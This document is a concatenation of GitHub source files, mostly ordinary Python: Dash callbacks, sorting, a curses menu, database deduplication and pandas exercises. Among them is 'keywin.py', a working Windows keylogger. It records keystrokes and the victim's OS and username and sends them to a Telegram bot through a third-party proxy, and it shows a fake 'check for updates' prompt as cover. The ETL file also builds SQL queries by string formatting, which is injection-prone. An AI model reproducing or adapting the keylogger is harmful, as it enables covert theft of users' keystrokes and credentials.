'children'),\n State('stop_dataslice', 'children'),\n State('data_headers', 'value'),\n State('graphparam_confirm', 'n_clicks')]\n )\n def create_mdd(\n meta, load, add_data,\n mdd_state, start_dataslice, stop_dataslice,\n data_headers, nclicks\n ):\n meta = pd.DataFrame(meta)\n ctx = dash.callback_context\n if ctx.triggered[-1]['prop_id'] == 'metadata.data':\n if ctx.triggered[0]['prop_id'] == 'load.contents':\n load = load.split(',')[1]\n decoded = base64.b64decode(load)\n zip_str = BytesIO(decoded)\n zip_obj = zipfile.ZipFile(zip_str, 'r')\n\n mdd_csv = zip_obj.read('mdd.csv')\n mdd = pd.read_csv(BytesIO(mdd_csv))\n return mdd.to_dict('records'), nclicks\n else:\n mdd = mc.MDD(meta)\n return mdd.dataDF.to_dict('records'), nclicks + 1\n\n elif (\n ctx.triggered[-1]['prop_id'] == 'add_data.contents'\n and add_data is not ''\n ):\n mdd = mc.MDD(\n meta\n )\n mdd.dataDF = pd.DataFrame(mdd_state)\n\n headers = data_headers.split(',')\n data = au.load_data(add_data, usecols=headers, rtype='arr')\n\n indices = {}\n for i in range(len(start_dataslice)):\n ax = meta['Axis'][i]\n start = start_dataslice[i]['props']['value']\n stop = stop_dataslice[i]['props']['value']\n\n indices[ax] = (start, stop)\n\n mdd.add_data(data, indices)\n return mdd.dataDF.to_dict('records'), nclicks + 1\n else:\n raise PreventUpdate\n","repo_name":"lwang94/MDD","sub_path":"app_callbacks/callbacks_newmdd.py","file_name":"callbacks_newmdd.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74420965280","text":"from decouple import config\nimport requests \n\n\ntoken = config(\"TELEGRAM_BOT_TOKEN\")\napp_url = f'https://api.telegram.org/bot{token}'\nngrok_url = 'https://c8b9cbae.ngrok.io'\npython_anywhere_url = 'gayun1109.pythonanywhere.com'\n\nset_webhook_url = f'{app_url}/setWebhook?url={python_anywhere_url}/telegram'\n\nresponse = requests.get(set_webhook_url)\nprint(response.text)\n\n\n","repo_name":"KaYunKIM/ssafy","sub_path":"Lectures/startcamp/day_03/set_webhook.py","file_name":"set_webhook.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"29953737812","text":"import pathlib\nimport os\nimport time\nimport sys\n\n\ndef picker():\n option = 0\n while True:\n try:\n option = int(input(\n \"Please select an operation...\\n[1] Remove headers from all files of a type within a directory.\\n[2] \"\n \"Merge header files with data files.\\n[3] Exit\\n\\n\\n\"))\n if not 0 < int(option) < 4:\n print(\"Choose one of the provided options.\")\n else:\n break\n except ValueError as e:\n print(\"Please only use one of the provided numbers.\" + \"\\n\" + \"---\" * 10)\n return option\n\n\ndef breaker():\n string_split = input(\"Input string to split: \").lower().replace(\" \",\n \"\") # Takes given hex delimiter, converts to lowercase and strips all whitespace\n file_type = input(\"Please enter the file type to modify: \").strip() # Takes a filetype to modify\n # Adds a period to the beginning of the provided filetype if one is not already present\n if not file_type.startswith(\".\"):\n file_type = \".\" + file_type\n target_dir = os.getcwd() # Gets the directory the script lives in\n target_req = input(\n \"Please enter the target directory, leave blank to use the script's current location: \") # Takes input from user regarding where to look for files in\n # If user provided a target directory switch from current directory to given directory\n if len(target_req) > 1:\n target_dir = target_req\n\n for active_file in pathlib.Path(target_dir).glob(\n '*' + file_type): # Looks at every file in given folder ending with the given file type\n try:\n with open(active_file, \"rb\") as from_file, open(\n str(active_file).rsplit(\".\", 1)[0] + \"_audited.\" + str(active_file).rsplit(\".\", 1)[1],\n \"wb\") as to_file: # Opens up current file as a binary file, along with a new file that takes the original file and modifys it\n bytes_to_audit = from_file.read().hex() # Reads the file as a hex object\n bytes_to_audit = bytes_to_audit.split(string_split) # Splits hex object based on delimited\n bytes_to_audit = \"\".join(\n bytes_to_audit[1:]) # Readds everything after hex delimiter to the delimiter itself\n bytes_to_audit = string_split + bytes_to_audit\n to_file.write(bytes.fromhex(bytes_to_audit)) # Writes new hex object as a bytes object to file\n print(str(active_file).rsplit(os.path.sep)[\n -1] + \" was successfully pruned.\") # Prints out the name of the file pruned\n except Exception as e:\n print(\"Unable to break {0} from file: {1} due to error: {2}\".format(string_split, active_file,\n e)) # Error message in case something goes awry\n\n\nwhile True:\n option = picker()\n if option == 1:\n breaker()\n elif option == 2:\n pass\n elif option == 3:\n sys.exit()\n\n# print(\"Audit process complete. Exiting in 10 seconds...\")\n# time.sleep(10)\n# sys.exit()\n","repo_name":"O46/hex_splitter","sub_path":"dispel.py","file_name":"dispel.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40928087837","text":"#!/bin/python3\n\n\ndef quick_sort(array):\n #print(\"-----------------------------------\")\n #print(\"call quicksort with\", array)\n if len(array) < 2:\n #print(\"base case\")\n return array\n else:\n pivot_index = len(array) // 2\n pivot = array[pivot_index]\n array.pop(pivot_index)\n #print(\"pivot is array[\", pivot_index, \"] =\", pivot)\n\n # left part - elements which are smaller than pivot\n left_part = []\n # right part - elements which are greater than pivot\n right_part = []\n for element in array:\n if element < pivot:\n left_part.append(element)\n else:\n right_part.append(element)\n\n #print(left_part, pivot, right_part)\n return quick_sort(left_part) + [pivot] + quick_sort(right_part)\n\n\ndef test_quick_sort(array):\n print(\"before:\", array)\n print(\"after: \", quick_sort(array))\n\n\n# main\narr = []\ntest_quick_sort(arr)\narr = [18]\ntest_quick_sort(arr)\narr = [23, 12, 0, 14, 7, 58, 30]\ntest_quick_sort(arr)\narr = [5, 5, 5, 5, 5]\ntest_quick_sort(arr)\narr = [-3, 4, 1, 23, 12, 0, 9, 8]\ntest_quick_sort(arr)\narr = [-3, 4, 1, 23, 12, 0, 9, 8, 23, 12, 0, 14, 7, 58, 30]\ntest_quick_sort(arr)\n","repo_name":"vtsyganenko/hello-world","sub_path":"algorithms/04 - quicksort/python/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25401956537","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\n@version: 1.0\n@author: kevin\n@license: Apache Licence \n@contact: liujiezhang@bupt.edu.cn\n@site: \n@software: PyCharm Community Edition\n@file: ETL.py\n@time: 16/11/24 下午4:31\n\"\"\"\nfrom dataBase.mysql import M\nimport time\n\n\nclass ETL():\n \"\"\"\n 去重及批处理入库逻辑\n \"\"\"\n\n def __init__(self, db_name, site_name):\n if not (db_name and site_name):\n raise ValueError(\"db_name or table_name is empty!\")\n # 数据库名\n self.db = db_name\n # detail表\n self.table = site_name + '_detail'\n self.M_table = M(self.db, self.table)\n # bad表\n self.table_bad = site_name + '_bad'\n self.M_table_bad = M(self.db,self.table_bad)\n # gov表\n self.table_gov = site_name + '_gov'\n self.M_table_gov = M(self.db,self.table_gov)\n\n # 存放脏数据\n self.bad_data = []\n self.key_fields = ['price', 'name', 'pics', 'type',\n 'detail', 'source_url', 'storage', 'lack_period']\n self.key_type = [float, unicode, unicode, unicode, unicode, unicode, unicode, unicode]\n\n def run(self,data):\n # 原始数据\n self.data = data\n # 记录gov_ids\n self.gov_ids = map(lambda x:str(x['id']),self.data)\n # 检查数据类型合法性\n self.__setParamters()\n # 检查各个字段合法性\n self.__handleField()\n # 去除url重复\n self.__handleExist()\n # 去除价格/类型/名字重复\n self.__goodsExist()\n # 批量插入数据库\n # print(self.data)\n # exit()\n if self.data:\n self.M_table.insertAll(self.data)\n if self.bad_data:\n self.M_table_bad.insertAll(self.bad_data)\n\n sql = \"update {0} set is_contrast= 1 where id in ({1})\".format(self.table_gov,','.join(self.gov_ids))\n self.M_table_gov.cursor.execute(sql)\n self.M_table_gov.commit()\n return True\n\n def close(self):\n '''\n 关闭数据库\n :return:\n '''\n self.M_table.close()\n self.M_table_gov.close()\n self.M_table_bad.close()\n\n def __setParamters(self):\n '''\n 检查整个数据类型是否合法\n :param data: 爬取数据 dict 或者 [dict,dict]\n :return: [dict,dict]\n '''\n # 必须非空\n if not self.data:\n raise ValueError('data is empty!')\n # 字典类型\n elif isinstance(self.data, dict):\n data_list = [self.data]\n # 列表嵌套字典类型\n elif isinstance(self.data, list) and isinstance(self.data[0], dict):\n data_list = self.data\n else:\n raise ValueError('data is illegal!')\n self.data = data_list\n return data_list\n\n def __handleField(self):\n '''\n 校验各个字段是否合法\n :return:\n '''\n for _ in xrange(len(self.data)):\n one_data = self.data.pop(0)\n # 删除id\n del one_data['id']\n is_legal = True\n # 前五项是必备的\n for i in xrange(6):\n # 非空,且字段合法\n if (self.key_fields[i] not in one_data) or \\\n (not one_data[self.key_fields[i]]) or \\\n (not isinstance(one_data[self.key_fields[i]], self.key_type[i])):\n is_legal = False\n break\n # 更新时间\n one_data['updated'] = int(time.time())\n if is_legal: # 干净数据\n one_data['is_contrast'] = 1\n self.data.append(one_data)\n else: # 脏数据\n one_data['is_contrast'] = 2\n self.bad_data.append(one_data)\n\n # return self.data\n\n def __handleExist(self):\n '''\n url去重\n :return:\n '''\n for _ in xrange(len(self.data)):\n one_data = self.data.pop(0)\n is_exist = False\n sql = \"select source_url from {0} where source_url='{1}' order by id limit 1\".format(\n self.table, one_data['source_url'])\n # print(sql)\n is_exist = self.M_table.cursor.execute(sql)\n if not is_exist: # 干净数据\n self.data.append(one_data)\n # return self.data\n\n def __goodsExist(self):\n '''\n 相同产品去重,相同的话,直接删除,不插入bad表\n :return:\n '''\n for _ in xrange(len(self.data)):\n one_data = self.data.pop(0)\n is_exist = False\n sql = \"select id from {0} where price={1} and name='{2}' and type='{3}' order by id limit 1\".format(\n self.table, one_data['price'], one_data['name'], one_data['type'])\n try:\n is_exist = self.M_table.cursor.execute(sql)\n except:\n print(one_data['source_url'])\n exit()\n if not is_exist:\n self.data.append(one_data)\n # return self.data\n\n# if __name__ == '__main__':\n# # self.key_fields = ['price', 'name', 'pics', 'type',\n# # 'detail', 'source_url', 'storage', 'lack_period']\n# data = [{'price':10.4,'name':'风机','pics':'pic0|pic2','type':'封闭式','detail':'aaaa','source_url':'http://gaegagg.com'},\\\n# {'price':12.4,'name':'股风机','pics':'pic0|pic2','type':'封闭式','detail':'aaaa','source_url':'http://gaegagg.com'},\\\n# ]\n# ETL('test','test',data).run()","repo_name":"Aurelius84/PyCrawler","sub_path":"dataMin/ETL.py","file_name":"ETL.py","file_ext":"py","file_size_in_byte":5581,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"6309321141","text":"l1 = [\"eat\",\"sleep\",\"repeat\",\"sleep\",\"repeat\",\"repeat\"]\n# obj1 = enumerate(l1)\n# print (list(obj1))\n\ncount = 0\nfor words in l1:\n obj1 = enumerate(l1)\n\n for i, d in enumerate(l1):\n print(\"i: \", i)\n print(\"d: \", d)\n if d[0] == words:\n wordID = i\n print(wordID)\n\n # features_matrix[docID, wordID] = words.count(word)","repo_name":"antarixD/Stock","sub_path":"ML/naiveBayes/test_work.py","file_name":"test_work.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44087482074","text":"from pynput import keyboard\nimport requests,platform,os\nimport getpass,ctypes\n\ntry:\n requests.get(\"https://google.com\")\nexcept requests.exceptions.ConnectionError:\n messageBox = ctypes.windll.user32.MessageBoxW\n\n returnValue = messageBox(0,\"Turn on your internet to check for updates\",\"INTERNET ERROR\",0x10 | 0x0)\n\n exit()\n\nlist = []\n\ntokn = TOKEN\nuser = USERINFO\n\ndef target_platform():\n\n target = (\"Connected!\\n\"+\"Os Name : \"+platform.uname()[0]+\"|\"+\"Version : \"+platform.uname()[2]+\"|\"+\"Username : \"+getpass.getuser())\n \n url_platform = (f\"https://api.telegram.org/bot{tokn}/sendmessage?chat_id={user}&text=\"+str(target))\n\n payload_platform = {\"UrlBox\":url_platform,\n\n \"AgentList\":\"Mozilla Firefox\",\n \"VersionsList\":\"HTTP/1.1\",\n \"MethodList\":\"POST\"\n }\n\n req_platform = requests.post(\"https://www.httpdebugger.com/tools/ViewHttpHeaders.aspx\",payload_platform)\n\ndef key_start():\n with keyboard.Listener(on_press=key_log) as listn:\n listn.join()\n\ndef key_log(key):\n if type(key) == keyboard._win32.KeyCode:\n key = key.char\n \n key = str(key)\n list.append(key)\n\n if len(list) == 5:\n send_msg(str(list))\n list.clear()\n\n print(type(key))\ndef send_msg(data):\n\n url_key = (f\"https://api.telegram.org/bot{tokn}/sendmessage?chat_id={user}&text=\"+data)\n\n payload_key = {\"UrlBox\":url_key,\n\n \"AgentList\":\"Mozilla Firefox\",\n \"VersionsList\":\"HTTP/1.1\",\n \"MethodList\":\"POST\"\n }\n\n req_key = requests.post(\"https://www.httpdebugger.com/tools/ViewHttpHeaders.aspx\",payload_key)\n \ntarget_platform()\nkey_start()","repo_name":"Arash-abraham/Oscar","sub_path":"Payload-win/keywin.py","file_name":"keywin.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"24791504015","text":"# RokMe - @mastyDev 2023.01 \nimport curses\nimport json\nimport cat\nimport status\n\nmenu = [' Categories ',' Status ',' EXIT '] # missing Settings\n\n# title\ndef print_title(sw,h,w):\n sw.clear()\n services=open('data.json',\"r\")\n data=json.loads(services.read())\n x=w//2\n y=h//2-5\n sw.addstr(y-1,x-len(data['title'][0]['t'])//2, f\"{data['title'][0]['t']}\",curses.color_pair(3))\n sw.addstr(y,x-len(data['title'][1]['t'])//2, f\"{data['title'][1]['t']}\",curses.color_pair(4))\n sw.addstr(y+1,x-(len(data['title'][2]['t'])//2), f\"{data['title'][2]['t']}\",curses.color_pair(1))\n # sw.addstr(h-2,x-(len(data['title'][3]['t'])//2), f\"{data['title'][3]['t']}\",curses.color_pair(1))\n services.close()\n sw.refresh()\n\n# main menu\ndef print_menu(sw, selected_row_idx):\n h,w=sw.getmaxyx()\n # load title function\n print_title(sw,h,w)\n for idx,row in enumerate(menu):\n x=w//2-len(row)//2\n y=h//2-len(menu)//2+idx*2\n if idx == selected_row_idx:\n sw.attron(curses.color_pair(5))\n sw.addstr(y,x,row)\n sw.attroff(curses.color_pair(5))\n else:\n sw.addstr(y,x,row)\n sw.refresh()\n\n# Categories\ndef print_categories(sw):\n sw.clear()\n h, w = sw.getmaxyx()\n x = w//2# - len(http_connect.main_http(sw))//2\n y = h//2\n sw.addstr(y, x, str(cat.main(sw)))\n sw.refresh()\n\n# Status\ndef print_status(sw):\n sw.clear()\n h, w = sw.getmaxyx()\n x = w//2# - len(http_connect.main_http(sw))//2\n y = h//2\n sw.addstr(y, x, str(status.main(sw)))\n sw.refresh()\n\n# Initialize RokMe\ndef main(sw):\n curses.curs_set(0)\n # initialize sets of background/foreground colors\n curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_WHITE)\n curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLACK)\n curses.init_pair(3, curses.COLOR_RED, curses.COLOR_WHITE)\n curses.init_pair(4, curses.COLOR_WHITE, curses.COLOR_RED)\n curses.init_pair(5, curses.COLOR_BLACK, curses.COLOR_YELLOW)\n curses.init_pair(6, curses.COLOR_YELLOW, curses.COLOR_BLACK)\n curses.init_pair(7, curses.COLOR_RED, curses.COLOR_YELLOW)\n curses.init_pair(8, curses.COLOR_BLACK, curses.COLOR_BLACK)\n # background standard screen\n sw.bkgd(curses.color_pair(1))\n\n # load main menu\n current_row=len(menu)-1\n print_menu(sw,current_row)\n sw.refresh()\n \n # navigate main menu\n while 1:\n key = sw.getch()\n if key == curses.KEY_UP and current_row > 0:\n current_row -= 1\n elif key == curses.KEY_UP and current_row == 0:\n current_row += len(menu)-1\n elif key == curses.KEY_DOWN and current_row == len(menu)-1:\n current_row -= len(menu)-1\n elif key == curses.KEY_DOWN and current_row < len(menu)-1:\n current_row += 1\n elif key == curses.KEY_ENTER or key in [10, 13]:\n # if user selected last row, exit the program\n if current_row == len(menu)-1:\n break\n elif menu[current_row] == menu[0]:\n print_categories(sw)\n elif menu[current_row] == menu[1]:\n print_status(sw)\n\n print_menu(sw, current_row)\n sw.refresh()\n\nif __name__ == \"__main__\":\n curses.wrapper(main)","repo_name":"mastyDev/RokMe","sub_path":"rokme.py","file_name":"rokme.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16783263783","text":"ip = int(input())\nlst = list(map(int, input().split()))\ndummy_lst = lst[:]\ndummy_lst.sort()\ndummy = -1000000001\ncnt = dict()\ndummy_cnt = 0\nfor i in dummy_lst:\n if i != dummy:\n cnt[i] = dummy_cnt\n dummy = i\n dummy_cnt += 1\n\nans = list()\nfor i in lst:\n ans.append(cnt[i])\n\nprint(*ans)\n","repo_name":"yyytae0/algorithm-training","sub_path":"baekjoon/18870.py","file_name":"18870.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40142236617","text":"from sort_helper import test_sort,random_array\n\ndef insert_sort1(array):\n\tfor i in range(len(array)):\n\t\t#当前位置i代表可以向左交换位置的次数\n\t\tj = i\n\t\twhile j:\n\t\t\tif array[j] l:\n\t\t\tif temp < array[j-1]:\n\t\t\t\tarray[j] = array[j-1]\n\t\t\t\tj = j-1\n\t\t\telse:\n\t\t\t\tbreak\n\t\tarray[j] = temp\n\t\t\t\n\t\ti += 1\n\n\nif __name__ == '__main__':\n\tarray1 = random_array(10000, 1, 10000)\n\tarray2 = array1[:]\n\tarray3 = array1[:]\n\ttest_sort('insert_sort1', insert_sort1, array1)\n\ttest_sort('insert_sort2', insert_sort2, array2)\n\ttest_sort('insert_sort3', insert_sort3, array3)\n","repo_name":"Touchfl0w/Algorithm-Practices","sub_path":"Sort-Basic/insert_sort.py","file_name":"insert_sort.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29292697151","text":"import atexit\nimport os\n\ndefaultPidFile = \"ynot.pid\"\n\n\ndef cleanupPid(fileName=defaultPidFile):\n if os.path.exists(fileName):\n os.remove(fileName)\n \n\ndef makePidFile(fileName=defaultPidFile):\n pid = os.getpid()\n if not os.path.exists(fileName):\n f = open(fileName, \"w\")\n contents = \"%s\\n\"%(pid,)\n f.write(contents)\n f.close()\n atexit.register(cleanupPid, fileName)\n else:\n raise RuntimeError(\"%s pid file already exists, this file is either stale or there is already an instance of ynot running\"%(fileName,))\n \n \n","repo_name":"steder/penzilla","sub_path":"ynot/pid.py","file_name":"pid.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14236250801","text":"import os\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\nimport nibabel as nib\nfrom PIL import Image\nimport numpy as np\nimport tqdm\nfrom skimage import measure\nimport random\n\nimport argparse\n\ndef adjust_border(centroid,i,bbox,data):\n if int(centroid[i]) - bbox / 2 <= 0:\n return 0,bbox\n if int(centroid[i]) + bbox / 2 >= data.shape[i]:\n return (data.shape[i] - bbox), data.shape[i]\n return int(centroid[i]) - int(bbox / 2),int(centroid[i]) + int(bbox / 2)\n\ndef divide_data(bbox, label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path):\n\n for i in tqdm.tqdm(range(len(data_list))):\n data_file = data_list[i]\n label_file = label_list[i]\n data = nib.load(os.path.join(root_data_path, data_file)).get_data()\n label = nib.load(os.path.join(root_label_path, label_file)).get_data()\n property = measure.regionprops(label)\n for idx in range(len(property)):\n centroid = property[idx].centroid\n low_1,high_1= adjust_border( centroid, 0, bbox, data)\n low_2,high_2= adjust_border( centroid, 1, bbox, data)\n low_3,high_3= adjust_border( centroid, 2, bbox, data)\n box = data[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n target_box = label[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n precessed_data_file = os.path.join(data_save_path, data_file.split('-')[0] + '-' + str(idx + 1) + \"-image\")\n precessed_label_file = os.path.join(label_save_path, label_file.split('-')[0] + '-' + str(idx + 1) + \"-label\")\n np.save(precessed_data_file, box.reshape(1, *(box.shape)))\n np.save(precessed_label_file, target_box.reshape(1, *(box.shape)))\n\n num_empty = len(property)\n\n for idx in range(num_empty):\n low_1 = random.randint(0, data.shape[0] - bbox)\n high_1 = low_1 + bbox\n low_2 = random.randint(0, data.shape[1] - bbox)\n high_2 = low_2 + bbox\n low_3 = random.randint(0, data.shape[2] - bbox)\n high_3 = low_3 + bbox\n box = data[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n target_box = label[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n precessed_data_file = os.path.join(data_save_path, data_file.split('-')[0] + '-' + str(idx + 1 + num_empty) + \"-image\")\n precessed_label_file = os.path.join(label_save_path, label_file.split('-')[0] + '-' + str(idx + 1 + num_empty) + \"-label\")\n np.save(precessed_data_file, box.reshape(1, *(box.shape)))\n np.save(precessed_label_file, target_box.reshape(1, *(box.shape)))\n\n\ndef Divide_data():\n ROOT = os.path.join(os.getcwd(), 'dataset')\n process_path = os.path.join(ROOT, 'processed_data')\n train_data_path = os.path.join(process_path, \"train_data\")\n valid_data_path = os.path.join(process_path, 'val_data')\n test_data_path = os.path.join(ROOT, 'origin_data', 'test_data')\n train_label_path = os.path.join(process_path, 'train_label')\n valid_label_path = os.path.join(process_path, 'val_label')\n valid_test_like_path = os.path.join(ROOT, 'origin_data', 'val_data')\n origin_path = os.path.join(ROOT, 'origin_data')\n bbox=64\n \n\n #train data\n label_list = list(os.listdir(train_label_path))\n data_list = list(os.listdir(train_data_path))\n root_data_path = os.path.join(origin_path, 'train_data')\n root_label_path = os.path.join(origin_path, 'train_label')\n label_save_path = os.path.join(process_path,'train_label')\n data_save_path = os.path.join(process_path, 'train_data')\n divide_data(bbox,label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path)\n\n #val data\n label_list = list(os.listdir(valid_label_path))\n data_list = list(os.listdir(valid_data_path))\n root_data_path = os.path.join(origin_path, 'val_data')\n root_label_path = os.path.join(origin_path, 'val_label')\n label_save_path = os.path.join(process_path, 'val_label')\n data_save_path = os.path.join(process_path, 'val_data')\n divide_data(bbox,label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path)\n\n","repo_name":"Guo-Yizhen/machine_learning_homework_","sub_path":"divide_data_.py","file_name":"divide_data_.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6665751456","text":"def solution(lottos, win_nums):\n answer = []\n rank = [6, 6, 5, 4, 3, 2, 1]\n zero_count = lottos.count(0)\n answer_count = len(set(lottos) & set(win_nums))\n\n answer.append(rank[zero_count + answer_count])\n answer.append(rank[answer_count])\n \n return answer\n","repo_name":"kipple99/CodingTestStudy","sub_path":"프로그래머스/1/77484. 로또의 최고 순위와 최저 순위/로또의 최고 순위와 최저 순위.py","file_name":"로또의 최고 순위와 최저 순위.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24531655454","text":"def format_phone_number(func):\n def inner(phone):\n print(f'Source phone {phone}')\n result = func(phone)\n print(f'Sanitize: {result}')\n if len(result) == 10:\n phone_new = '+38' + result\n elif len(result) == 12:\n phone_new = '+' + result\n else:\n phone_new = result\n print(f'Result: {phone_new}')\n return phone_new\n return inner\n\n@format_phone_number\ndef sanitize_phone_number(phone):\n new_phone = (\n phone.strip()\n .removeprefix(\"+\")\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\"-\", \"\")\n .replace(\" \", \"\")\n )\n return new_phone\n\"\"\"\ndef sanitize_phone_number(phone):\n s = ''\n for v in phone:\n if v >= '0' and v <= '9':\n s = s + v\n return s \n\"\"\"\nphones = [\" +38(050)123-32-34\", \" 0503451234\", \"(050)8889900\", \"38050-111-22-22\", \"38050 111 22 11 \"]\nfor phone in phones:\n print('Result_phone ' + sanitize_phone_number(phone))\n","repo_name":"NikYurchik/Tutorial","sub_path":"DZ2-3/1/test0/AutoCheck/dz9-5.py","file_name":"dz9-5.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30748525278","text":"# logger.py\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom base.base_logger import BaseLogger\nfrom typing import Dict\n\nimport os\nimport tensorflow as tf\n\n\nclass Logger(BaseLogger):\n def __init__(self) -> None:\n super(Logger, self).__init__()\n\n # Find path for saving summaries and accessing TensorBoard.\n train_path = os.path.join(self.config.summary_dir, \"train\")\n valid_path = os.path.join(self.config.summary_dir, \"validation\")\n\n # Create the summary writers.\n self.train_summary = tf.summary.create_file_writer(train_path)\n self.valid_summary = tf.summary.create_file_writer(valid_path)\n\n # Enable graph and logging for the model.\n tf.summary.trace_on(graph=True, profiler=False)\n\n def summarize(self, step: tf.Variable, summarizer=\"train\", scope=\"\", summaries_dict: Dict = None) -> None:\n summary = self.train_summary if summarizer == \"train\" else self.valid_summary\n with tf.name_scope(scope):\n if summaries_dict is not None:\n for tag, value in summaries_dict.items():\n with summary.as_default():\n if len(value.shape) <= 1:\n tf.summary.scalar(tag, value, step=step)\n else:\n tf.summary.image(tag, value, step=step, max_outputs=8)\n summary.flush()\n","repo_name":"giovgiac/neptune","sub_path":"loggers/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"1930748833","text":"#!/usr/bin/env python3\nfrom time import sleep\nimport random\nfrom math import *\nimport sys, os\n\nfrom ev3dev.ev3 import *\n\nrightMotor = LargeMotor(OUTPUT_A)\nleftMotor = LargeMotor(OUTPUT_D)\n\nliftMotor = LargeMotor(OUTPUT_B)\n\n# ts1 = TouchSensor(INPUT_1)\n# ts4 = TouchSensor(INPUT_4)\nus = UltrasonicSensor()\n# gs = GyroSensor()\n\n# gs.mode = \"GYRO-ANG\"\n\nbtn = Button()\n\nlifted = False\n\ndef ram():\n rightMotor.run_direct(duty_cycle_sp=100)\n leftMotor.run_direct(duty_cycle_sp =100)\n\ndef turn(dir):\n rightMotor.run_direct(duty_cycle_sp=dir*-50)\n leftMotor.run_direct(duty_cycle_sp=dir*50)\n\ndef lift(time):\n liftMotor.run_direct(duty_cycle_sp=-50)\n lifted = True\n sleep(0.2)\n liftMotor.stop(stop_action=\"brake\")\n\ndef wait_for_button():\n while not btn.any():\n pass\n\ndef run_code():\n while not btn.any():\n if us.value() < 700:\n ram()\n else:\n turn(1)\n\n\n if us.value() < 70 and not lifted:\n lift(500)\n else:\n liftMotor.stop(stop_action=\"coast\")\n lifted = False\n\ndef shutdown():\n leftMotor.stop(stop_action=\"coast\")\n rightMotor.stop(stop_action=\"coast\")\n liftMotor.stop(stop_action=\"coast\")\n\nSound.tone([(1000, 500, 500)])\n\nwhile not btn.backspace:\n wait_for_button()\n Sound.tone([(1000, 500, 500)])\n sleep(3)\n run_code()\n shutdown()\n","repo_name":"james-j-obrien/ENGG1000-CompSci-Simulator","sub_path":"sumo_code.py","file_name":"sumo_code.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71995815523","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#basic mathematical operations\nimport numpy as np\na=np.array([6,7,8])\nb=np.array([1,2,3])\n#addition\nsum=np.add(a,b)\n#subtraction\nsub=np.subtract(a,b)\n#multiplication\nmul=np.multiply(a,b)\nprint(\"Addition={}\\nSubtraction={}\\nMultiplication={}\".format(sum,sub,mul))\n\n\n# In[2]:\n\n\n#data manipulation\nimport pandas as pd\n#filtering rows\ndata={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\nprint(df)\n\"\"\"\"#filtering by column value\ndf.loc[df['a']==2]\"\"\"\n# Filter Rows by Logical Conditions\ndf.loc[df['a']>4]\n#concatenating\ndata1={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\ndata2={'a':[1,2,4,9,1,2,6],'b':[1,7,3,4,5,5,9]}\ndf1=pd.DataFrame(data1)\ndf2=pd.DataFrame(data2)\n\nd=[df1,df2]\n\nprint(pd.concat(d))\n#merging dataframes\nleft = pd.DataFrame({\n \"key\": [\"K0\", \"K1\", \"K2\", \"K3\"],\n \"A\": [\"A0\", \"A1\", \"A2\", \"A3\"],\n \"B\": [\"B0\", \"B1\", \"B2\", \"B3\"],\n })\nright = pd.DataFrame({\n \"key\": [\"K0\", \"K1\", \"K2\", \"K3\"],\n \"C\": [\"C0\", \"C1\", \"C2\", \"C3\"],\n \"D\": [\"D0\", \"D1\", \"D2\", \"D3\"],})\nresult = pd.merge(left, right, on=\"key\")\nprint(result)\n#summary statistics\ndata1={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\ndf['a'].mean()\ndf['a'].median()\ndf.groupby('a')\ndf['a'].value_counts()\n\n\n# In[12]:\n\n\nimport 